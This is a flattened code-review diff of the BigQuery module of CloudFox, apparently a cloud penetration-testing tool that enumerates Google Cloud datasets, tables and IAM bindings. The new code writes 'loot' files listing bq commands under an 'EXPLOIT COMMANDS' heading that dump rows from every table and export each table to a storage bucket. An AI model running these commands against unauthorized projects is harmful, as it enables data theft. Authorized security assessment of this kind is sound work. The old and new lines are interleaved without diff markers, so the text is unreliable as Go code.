// Define the format for CSV & JSON output
|
||||
func (g GCPBigQueryResults) TableFiles() []internal.TableFile {
|
||||
var tableFiles []internal.TableFile
|
||||
|
||||
// For Datasets
|
||||
datasetHeader := []string{"Name", "DatasetID", "Description", "CreationTime", "LastModifiedTime", "Location", "ProjectID"}
|
||||
var datasetBody [][]string
|
||||
for _, dataset := range g.DatasetsData {
|
||||
datasetBody = append(datasetBody, []string{
|
||||
dataset.Name,
|
||||
dataset.DatasetID,
|
||||
dataset.Description,
|
||||
dataset.CreationTime.Format(time.RFC3339),
|
||||
dataset.LastModifiedTime.Format(time.RFC3339),
|
||||
dataset.Location,
|
||||
dataset.ProjectID,
|
||||
})
|
||||
}
|
||||
datasetTableFile := internal.TableFile{
|
||||
Header: datasetHeader,
|
||||
Body: datasetBody,
|
||||
Name: "bigquery-datasets",
|
||||
}
|
||||
tableFiles = append(tableFiles, datasetTableFile)
|
||||
|
||||
// For Tables
|
||||
tableHeader := []string{"TableID", "DatasetID", "Description", "CreationTime", "LastModifiedTime", "NumBytes", "Location", "ProjectID"}
|
||||
var tableBody [][]string
|
||||
for _, table := range g.TablesData {
|
||||
tableBody = append(tableBody, []string{
|
||||
table.TableID,
|
||||
table.DatasetID,
|
||||
table.Description,
|
||||
table.CreationTime.Format(time.RFC3339),
|
||||
table.LastModifiedTime.Format(time.RFC3339),
|
||||
fmt.Sprintf("%d", table.NumBytes),
|
||||
table.Location,
|
||||
table.ProjectID,
|
||||
})
|
||||
}
|
||||
tableTableFile := internal.TableFile{
|
||||
Header: tableHeader,
|
||||
Body: tableBody,
|
||||
Name: "bigquery-tables",
|
||||
}
|
||||
tableFiles = append(tableFiles, tableTableFile)
|
||||
|
||||
return tableFiles
|
||||
// ------------------------------
|
||||
// Output Struct implementing CloudfoxOutput interface
|
||||
// ------------------------------
|
||||
type BigQueryOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (g GCPBigQueryResults) LootFiles() []internal.LootFile {
|
||||
// Implement if there's specific data considered as loot
|
||||
return []internal.LootFile{}
|
||||
}
|
||||
func (o BigQueryOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o BigQueryOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
// ------------------------------
|
||||
// Command Entry Point
|
||||
// ------------------------------
|
||||
func runGCPBigQueryCommand(cmd *cobra.Command, args []string) {
|
||||
var projectIDs []string
|
||||
var account string
|
||||
parentCmd := cmd.Parent()
|
||||
ctx := cmd.Context()
|
||||
logger := internal.NewLogger()
|
||||
if value, ok := ctx.Value("projectIDs").([]string); ok && len(value) > 0 {
|
||||
projectIDs = value
|
||||
} else {
|
||||
logger.ErrorM("Could not retrieve projectIDs from flag value or value is empty", globals.GCP_BIGQUERY_MODULE_NAME)
|
||||
// Initialize command context
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_BIGQUERY_MODULE_NAME)
|
||||
if err != nil {
|
||||
return // Error already logged
|
||||
}
|
||||
|
||||
// Create module instance
|
||||
module := &BigQueryModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectDatasets: make(map[string][]BigQueryService.BigqueryDataset),
|
||||
ProjectTables: make(map[string][]BigQueryService.BigqueryTable),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
|
||||
// Execute enumeration
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Execution
|
||||
// ------------------------------
|
||||
func (m *BigQueryModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
// Run enumeration with concurrency
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_BIGQUERY_MODULE_NAME, m.processProject)
|
||||
|
||||
// Get all data for stats
|
||||
allDatasets := m.getAllDatasets()
|
||||
allTables := m.getAllTables()
|
||||
|
||||
// Check results
|
||||
if len(allDatasets) == 0 && len(allTables) == 0 {
|
||||
logger.InfoM("No BigQuery datasets found", globals.GCP_BIGQUERY_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
if value, ok := ctx.Value("account").(string); ok {
|
||||
account = value
|
||||
} else {
|
||||
logger.ErrorM("Could not retrieve account email from command", globals.GCP_BIGQUERY_MODULE_NAME)
|
||||
logger.SuccessM(fmt.Sprintf("Found %d dataset(s) with %d table(s)", len(allDatasets), len(allTables)), globals.GCP_BIGQUERY_MODULE_NAME)
|
||||
|
||||
// Write output
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
// getAllDatasets returns all datasets from all projects
|
||||
func (m *BigQueryModule) getAllDatasets() []BigQueryService.BigqueryDataset {
|
||||
var all []BigQueryService.BigqueryDataset
|
||||
for _, datasets := range m.ProjectDatasets {
|
||||
all = append(all, datasets...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// getAllTables returns all tables from all projects
|
||||
func (m *BigQueryModule) getAllTables() []BigQueryService.BigqueryTable {
|
||||
var all []BigQueryService.BigqueryTable
|
||||
for _, tables := range m.ProjectTables {
|
||||
all = append(all, tables...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Project Processor (called concurrently for each project)
|
||||
// ------------------------------
|
||||
func (m *BigQueryModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating BigQuery in project: %s", projectID), globals.GCP_BIGQUERY_MODULE_NAME)
|
||||
}
|
||||
|
||||
// Create service and fetch data
|
||||
bqService := BigQueryService.New()
|
||||
var datasetsResults []BigQueryService.BigqueryDataset
|
||||
var tablesResults []BigQueryService.BigqueryTable
|
||||
result, err := bqService.BigqueryDatasetsAndTables(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.Error++
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_BIGQUERY_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate BigQuery in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
// Set output params leveraging parent (gcp) pflag values
|
||||
verbosity, _ := parentCmd.PersistentFlags().GetInt("verbosity")
|
||||
wrap, _ := parentCmd.PersistentFlags().GetBool("wrap")
|
||||
outputDirectory, _ := parentCmd.PersistentFlags().GetString("outdir")
|
||||
format, _ := parentCmd.PersistentFlags().GetString("output")
|
||||
// Thread-safe store per-project
|
||||
m.mu.Lock()
|
||||
m.ProjectDatasets[projectID] = result.Datasets
|
||||
m.ProjectTables[projectID] = result.Tables
|
||||
|
||||
for _, projectID := range projectIDs {
|
||||
logger.InfoM(fmt.Sprintf("Retrieving BigQuery datasets and tables from project: %s", projectID), globals.GCP_BIGQUERY_MODULE_NAME)
|
||||
result, err := bqService.BigqueryDatasetsAndTables(projectID)
|
||||
if err != nil {
|
||||
logger.ErrorM(err.Error(), globals.GCP_BIGQUERY_MODULE_NAME)
|
||||
return
|
||||
// Initialize loot for this project
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["bigquery-commands"] = &internal.LootFile{
|
||||
Name: "bigquery-commands",
|
||||
Contents: "# GCP BigQuery Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
|
||||
datasetsResults = append(datasetsResults, result.Datasets...)
|
||||
tablesResults = append(tablesResults, result.Tables...)
|
||||
cloudfoxOutput := GCPBigQueryResults{DatasetsData: datasetsResults, TablesData: tablesResults}
|
||||
// Generate loot for each dataset and table
|
||||
for _, dataset := range result.Datasets {
|
||||
m.addDatasetToLoot(projectID, dataset)
|
||||
}
|
||||
for _, table := range result.Tables {
|
||||
m.addTableToLoot(projectID, table)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
err = internal.HandleOutput("gcp", format, outputDirectory, verbosity, wrap, globals.GCP_BIGQUERY_MODULE_NAME, account, projectID, cloudfoxOutput)
|
||||
if err != nil {
|
||||
logger.ErrorM(err.Error(), globals.GCP_BIGQUERY_MODULE_NAME)
|
||||
return
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Found %d dataset(s) and %d table(s) in project %s", len(result.Datasets), len(result.Tables), projectID), globals.GCP_BIGQUERY_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Loot File Management
|
||||
// ------------------------------
|
||||
func (m *BigQueryModule) addDatasetToLoot(projectID string, dataset BigQueryService.BigqueryDataset) {
|
||||
lootFile := m.LootMap[projectID]["bigquery-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
|
||||
// All commands for this dataset
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# DATASET: %s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Project: %s, Location: %s\n\n"+
|
||||
"# === ENUMERATION COMMANDS ===\n\n"+
|
||||
"# Show dataset info\n"+
|
||||
"bq show --project_id=%s %s\n"+
|
||||
"bq show --format=prettyjson %s:%s\n\n"+
|
||||
"# List tables in dataset\n"+
|
||||
"bq ls --project_id=%s %s\n\n",
|
||||
dataset.DatasetID, dataset.ProjectID, dataset.Location,
|
||||
dataset.ProjectID, dataset.DatasetID,
|
||||
dataset.ProjectID, dataset.DatasetID,
|
||||
dataset.ProjectID, dataset.DatasetID,
|
||||
)
|
||||
}
|
||||
|
||||
func (m *BigQueryModule) addTableToLoot(projectID string, table BigQueryService.BigqueryTable) {
|
||||
lootFile := m.LootMap[projectID]["bigquery-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Table info and query commands
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# -----------------------------------------------------------------------------\n"+
|
||||
"# TABLE: %s.%s (Dataset: %s)\n"+
|
||||
"# -----------------------------------------------------------------------------\n"+
|
||||
"# Project: %s\n"+
|
||||
"# Type: %s, Size: %d bytes, Rows: %d\n\n"+
|
||||
"# === ENUMERATION COMMANDS ===\n\n"+
|
||||
"# Show table schema:\n"+
|
||||
"bq show --schema --project_id=%s %s:%s.%s\n\n"+
|
||||
"# === EXPLOIT COMMANDS ===\n\n"+
|
||||
"# Query first 100 rows:\n"+
|
||||
"bq query --project_id=%s --use_legacy_sql=false 'SELECT * FROM `%s.%s.%s` LIMIT 100'\n"+
|
||||
"# Export table to GCS:\n"+
|
||||
"bq extract --project_id=%s '%s:%s.%s' gs://<bucket>/export_%s_%s.json\n\n",
|
||||
table.DatasetID, table.TableID, table.DatasetID,
|
||||
table.ProjectID,
|
||||
table.TableType, table.NumBytes, table.NumRows,
|
||||
table.ProjectID, table.ProjectID, table.DatasetID, table.TableID,
|
||||
table.ProjectID, table.ProjectID, table.DatasetID, table.TableID,
|
||||
table.ProjectID, table.ProjectID, table.DatasetID, table.TableID, table.DatasetID, table.TableID,
|
||||
)
|
||||
|
||||
// Views (may expose data from other datasets)
|
||||
if table.IsView {
|
||||
viewQuery := table.ViewQuery
|
||||
if len(viewQuery) > 200 {
|
||||
viewQuery = viewQuery[:200] + "..."
|
||||
}
|
||||
logger.InfoM(fmt.Sprintf("Done writing output for project %s", projectID), globals.GCP_BIGQUERY_MODULE_NAME)
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# VIEW DEFINITION: %s.%s\n"+
|
||||
"# Legacy SQL: %v\n"+
|
||||
"# Query:\n"+
|
||||
"# %s\n\n",
|
||||
table.DatasetID, table.TableID,
|
||||
table.UseLegacySQL,
|
||||
strings.ReplaceAll(viewQuery, "\n", "\n# "),
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Generation
|
||||
// ------------------------------
|
||||
func (m *BigQueryModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
// Decide between hierarchical and flat output
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
// getDatasetHeader returns the dataset table header
|
||||
func (m *BigQueryModule) getDatasetHeader() []string {
|
||||
return []string{
|
||||
"Project",
|
||||
"Dataset ID",
|
||||
"Location",
|
||||
"Public",
|
||||
"Encryption",
|
||||
"IAM Binding Role",
|
||||
"Principal Type",
|
||||
"IAM Binding Principal",
|
||||
}
|
||||
}
|
||||
|
||||
// getTableHeader returns the table table header
|
||||
func (m *BigQueryModule) getTableHeader() []string {
|
||||
return []string{
|
||||
"Project",
|
||||
"Dataset ID",
|
||||
"Table ID",
|
||||
"Type",
|
||||
"Encryption",
|
||||
"Rows",
|
||||
"Public",
|
||||
"IAM Binding Role",
|
||||
"IAM Binding Principal",
|
||||
}
|
||||
}
|
||||
|
||||
// datasetsToTableBody converts datasets to table body rows
|
||||
func (m *BigQueryModule) datasetsToTableBody(datasets []BigQueryService.BigqueryDataset) ([][]string, int) {
|
||||
var body [][]string
|
||||
publicCount := 0
|
||||
for _, dataset := range datasets {
|
||||
publicStatus := ""
|
||||
if dataset.IsPublic {
|
||||
publicStatus = dataset.PublicAccess
|
||||
publicCount++
|
||||
}
|
||||
|
||||
if len(dataset.AccessEntries) > 0 {
|
||||
for _, entry := range dataset.AccessEntries {
|
||||
memberType := BigQueryService.GetMemberType(entry.EntityType, entry.Entity)
|
||||
role := entry.Role
|
||||
if role == "" {
|
||||
role = "READER"
|
||||
}
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(dataset.ProjectID),
|
||||
dataset.DatasetID,
|
||||
dataset.Location,
|
||||
publicStatus,
|
||||
dataset.EncryptionType,
|
||||
role,
|
||||
memberType,
|
||||
entry.Entity,
|
||||
})
|
||||
}
|
||||
} else {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(dataset.ProjectID),
|
||||
dataset.DatasetID,
|
||||
dataset.Location,
|
||||
publicStatus,
|
||||
dataset.EncryptionType,
|
||||
"-",
|
||||
"-",
|
||||
"-",
|
||||
})
|
||||
}
|
||||
}
|
||||
return body, publicCount
|
||||
}
|
||||
|
||||
// tablesToTableBody converts tables to table body rows
|
||||
func (m *BigQueryModule) tablesToTableBody(tables []BigQueryService.BigqueryTable) [][]string {
|
||||
var body [][]string
|
||||
for _, table := range tables {
|
||||
publicStatus := ""
|
||||
if table.IsPublic {
|
||||
publicStatus = table.PublicAccess
|
||||
}
|
||||
|
||||
if len(table.IAMBindings) == 0 {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(table.ProjectID),
|
||||
table.DatasetID,
|
||||
table.TableID,
|
||||
table.TableType,
|
||||
table.EncryptionType,
|
||||
fmt.Sprintf("%d", table.NumRows),
|
||||
publicStatus,
|
||||
"-",
|
||||
"-",
|
||||
})
|
||||
} else {
|
||||
for _, binding := range table.IAMBindings {
|
||||
for _, member := range binding.Members {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(table.ProjectID),
|
||||
table.DatasetID,
|
||||
table.TableID,
|
||||
table.TableType,
|
||||
table.EncryptionType,
|
||||
fmt.Sprintf("%d", table.NumRows),
|
||||
publicStatus,
|
||||
binding.Role,
|
||||
member,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
// writeHierarchicalOutput writes output to per-project directories
|
||||
func (m *BigQueryModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
// Collect all projects with data
|
||||
projectsWithData := make(map[string]bool)
|
||||
for projectID := range m.ProjectDatasets {
|
||||
projectsWithData[projectID] = true
|
||||
}
|
||||
for projectID := range m.ProjectTables {
|
||||
projectsWithData[projectID] = true
|
||||
}
|
||||
|
||||
totalPublicCount := 0
|
||||
for projectID := range projectsWithData {
|
||||
datasets := m.ProjectDatasets[projectID]
|
||||
tables := m.ProjectTables[projectID]
|
||||
|
||||
datasetBody, publicCount := m.datasetsToTableBody(datasets)
|
||||
totalPublicCount += publicCount
|
||||
tableBody := m.tablesToTableBody(tables)
|
||||
|
||||
tableFiles := []internal.TableFile{
|
||||
{Name: "bigquery-datasets", Header: m.getDatasetHeader(), Body: datasetBody},
|
||||
{Name: "bigquery-tables", Header: m.getTableHeader(), Body: tableBody},
|
||||
}
|
||||
|
||||
// Collect loot for this project
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = BigQueryOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
if totalPublicCount > 0 {
|
||||
logger.InfoM(fmt.Sprintf("[FINDING] Found %d publicly accessible dataset(s)!", totalPublicCount), globals.GCP_BIGQUERY_MODULE_NAME)
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
pathBuilder,
|
||||
outputData,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_BIGQUERY_MODULE_NAME)
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
}
|
||||
|
||||
// writeFlatOutput writes all output to a single directory (legacy mode)
|
||||
func (m *BigQueryModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
allDatasets := m.getAllDatasets()
|
||||
allTables := m.getAllTables()
|
||||
|
||||
datasetBody, publicCount := m.datasetsToTableBody(allDatasets)
|
||||
tableBody := m.tablesToTableBody(allTables)
|
||||
|
||||
// Collect all loot files
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
tableFiles := []internal.TableFile{
|
||||
{Name: "bigquery-datasets", Header: m.getDatasetHeader(), Body: datasetBody},
|
||||
{Name: "bigquery-tables", Header: m.getTableHeader(), Body: tableBody},
|
||||
}
|
||||
|
||||
if publicCount > 0 {
|
||||
logger.InfoM(fmt.Sprintf("[FINDING] Found %d publicly accessible dataset(s)!", publicCount), globals.GCP_BIGQUERY_MODULE_NAME)
|
||||
}
|
||||
|
||||
output := BigQueryOutput{
|
||||
Table: tableFiles,
|
||||
Loot: lootFiles,
|
||||
}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
err := internal.HandleOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.OutputDirectory,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
"project",
|
||||
m.ProjectIDs,
|
||||
scopeNames,
|
||||
m.Account,
|
||||
output,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_BIGQUERY_MODULE_NAME)
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
}
|
||||
Loaded 100 of 248 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user